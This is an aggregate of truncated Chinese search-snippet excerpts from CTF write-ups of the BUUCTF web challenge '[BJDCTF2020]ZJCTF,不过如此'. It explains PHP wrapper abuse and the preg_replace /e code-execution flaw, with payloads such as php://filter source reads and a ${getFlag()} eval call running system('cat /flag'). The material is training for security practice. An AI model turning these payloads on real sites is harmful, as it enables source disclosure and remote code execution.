mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) subject匹配pattern,然后会导致replacement的执行,在这里$str去匹配$re,然后会去执行,'strtolower("\\1")' 双引号在里,单引号在外是漏洞的触发条件,因为php会把双引号当成函数,这也就是文章里的第三点 而且.*作为匹配符...
对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问 这里的\1指的是第一个匹配项 foreach循环把所有的参数对分次...
1|0写在前边 越来越感觉自己是酸菜鱼。。。全是知识盲区啊 题目在BUU上有复现 2|0解题 直接给出源码 简单分析一下,$text要等于I have a dream,因为这里有===,所以用text/plain纯文本形式传入,包含了$file,没做过滤,可以用伪协议读取next.php playload: ?text=data://text/plain,I%20have%20a%20dream...
[BJDCTF2020]ZJCTF,不过如此1 [BJDCTF2020]ZJCTF,不过如此1 进⼊题⽬,分析代码 file_get_contents() 把整个⽂件读⼊⼀个字符串中。通过get⽅式传⼊text,file参数,text参数要包含"i have a dream",且file参数正则匹配不能含有flag 看到⽤的是file_get_contents()函数打开text参数,以及后⾯的...
}functiongetFlag(){ @eval($_GET['cmd']); } 分析一下,注意return preg_replace('/(' . $re . ')/ei','strtolower("\1")',$str);具体分析http://www.xinyueseo.com/websecurity/158.html 源码中有个getFlag(),可以利用 next.php?S*=${getFlag()}&cmd=system('cat /flag'); ...
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。php://filter读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。使用方法:php://filter/read=convert.base64-encode/resource=...
BUUCTF-web类题目:[BJDCTF2020]ZJCTF,不过如此、[ZJCTF 2019]NiZhuanSiWei php反序列化 直接可以看到给出的代码: <?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ ...
BUUCTF:[BJDCTF2020]ZJCTF,不过如此 1. <?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "".file_get_contents($text,'r').""; if(preg_match("/flag/...
简介:BUU [BJDCTF2020]ZJCTF,不过如此 BUU [BJDCTF2020]ZJCTF,不过如此 和BUU [ZJCTF 2019]NiZhuanSiWei一样。 ?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php 得到next.php源码。 <?php$id = $_GET['id'];$_SESSION['id'] = $id;functi...
BUUCTF[BJDCTF2020]ZJCTF,不过如此 1 考点: 1.php为协议 2.preg_replace /e 代码执行漏洞 进入靶场 代码审计,GET传参,text 要为 “I have a dream” ,file为next.php 构造payload: ?text=data://text/plain,I have a dream&&file=php://filter/read=convert.base64-encode/resource=next.php...